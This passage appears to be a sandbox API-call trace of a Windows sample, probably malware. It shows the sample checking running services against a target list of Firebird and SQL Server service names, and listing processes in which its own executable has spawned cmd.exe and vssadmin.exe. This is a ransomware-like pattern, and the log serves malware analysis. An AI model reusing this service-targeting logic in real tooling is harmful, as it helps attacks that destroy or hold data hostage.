(lpString="ProfSvc") returned 7 [0260.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.710] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.710] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.710] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.710] lstrlenW (lpString="RpcSs") returned 5 [0260.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.711] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.711] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.711] lstrlenW (lpString="SamSs") returned 5 [0260.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.711] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.711] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.711] lstrlenW (lpString="Schedule") returned 8 [0260.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.711] lstrlenW (lpString="SecurityHealthService") returned 21 [0260.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0260.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0260.711] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0260.711] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0260.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0260.711] lstrlenW (lpString="SENS") returned 4 [0260.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.712] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.712] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.712] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.712] lstrlenW (lpString="Spooler") returned 7 [0260.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.712] lstrlenW (lpString="SSDPSRV") returned 7 [0260.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0260.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0260.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0260.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0260.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0260.712] lstrlenW (lpString="StateRepository") returned 15 [0260.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0260.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0260.712] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0260.712] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0260.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0260.713] lstrlenW (lpString="SysMain") returned 7 [0260.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.713] lstrlenW (lpString="SystemEventsBroker") returned 18 [0260.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0260.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0260.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0260.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0260.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d0fe0 | out: hHeap=0x670000) returned 1 [0260.713] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0260.718] Process32FirstW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.719] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.719] lstrlenW (lpString="System") returned 6 [0260.719] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.720] lstrlenW (lpString="smss.exe") returned 8 [0260.720] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.720] lstrlenW (lpString="csrss.exe") returned 9 [0260.720] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.729] lstrlenW (lpString="wininit.exe") returned 11 [0260.729] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.730] lstrlenW (lpString="csrss.exe") returned 9 [0260.730] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.730] lstrlenW (lpString="winlogon.exe") returned 12 [0260.730] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.731] lstrlenW (lpString="services.exe") returned 12 [0260.731] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.731] lstrlenW (lpString="lsass.exe") returned 9 [0260.731] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.732] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.732] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.732] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.732] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.733] lstrlenW (lpString="svchost.exe") returned 11 [0260.733] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.733] lstrlenW (lpString="svchost.exe") returned 11 [0260.733] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.734] lstrlenW (lpString="dwm.exe") returned 7 [0260.734] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.735] lstrlenW (lpString="svchost.exe") returned 11 [0260.735] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.735] lstrlenW (lpString="svchost.exe") returned 11 [0260.735] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.736] lstrlenW (lpString="svchost.exe") returned 11 [0260.736] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.736] lstrlenW (lpString="svchost.exe") returned 11 [0260.736] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.737] lstrlenW (lpString="svchost.exe") returned 11 [0260.737] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.737] lstrlenW (lpString="svchost.exe") returned 11 [0260.737] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.738] lstrlenW (lpString="svchost.exe") returned 11 [0260.738] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.739] lstrlenW (lpString="svchost.exe") returned 11 [0260.739] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.739] lstrlenW (lpString="svchost.exe") returned 11 [0260.739] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.740] lstrlenW (lpString="svchost.exe") returned 11 [0260.740] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.740] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.740] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.741] lstrlenW (lpString="svchost.exe") returned 11 [0260.741] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.741] lstrlenW (lpString="audiodg.exe") returned 11 [0260.741] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.742] lstrlenW (lpString="sihost.exe") returned 10 [0260.742] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.742] lstrlenW (lpString="svchost.exe") returned 11 [0260.742] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0260.743] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.743] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0260.743] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0260.744] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0260.744] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0260.745] lstrlenW (lpString="Memory Compression") returned 18 [0260.745] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.745] lstrlenW (lpString="explorer.exe") returned 12 [0260.745] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.746] lstrlenW (lpString="SearchUI.exe") returned 12 [0260.746] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.746] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0260.746] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.747] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0260.747] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.747] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0260.747] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0260.748] lstrlenW (lpString="finbbp.exe") returned 10 [0260.748] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0260.748] lstrlenW (lpString="cmd.exe") returned 7 [0260.748] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0260.749] lstrlenW (lpString="conhost.exe") returned 11 [0260.749] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0260.749] lstrlenW (lpString="vssadmin.exe") returned 12 [0260.749] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0260.750] lstrlenW (lpString="consent.exe") returned 11 [0260.807] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.807] lstrlenW (lpString="svchost.exe") returned 11 [0260.807] Process32NextW (in: hSnapshot=0x564, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0260.808] CloseHandle (hObject=0x564) returned 1 [0260.808] Sleep (dwMilliseconds=0x1f4) [0261.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa7b8 [0261.576] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0261.577] GetLastError () returned 0xea [0261.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d0fe0 [0261.577] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d0fe0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d0fe0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0261.578] CloseServiceHandle (hSCObject=0x41aa7b8) returned 1 [0261.579] lstrlenW (lpString="Appinfo") returned 7 [0261.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0261.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0261.579] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0261.579] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0261.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0261.579] lstrlenW (lpString="AppXSvc") returned 7 [0261.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0261.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0261.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0261.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0261.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0261.580] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.580] lstrlenW (lpString="Audiosrv") returned 8 [0261.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0261.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0261.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0261.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0261.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0261.580] lstrlenW (lpString="BFE") returned 3 [0261.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.580] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.580] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.580] lstrlenW (lpString="BITS") returned 4 [0261.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0261.581] lstrcmpiW 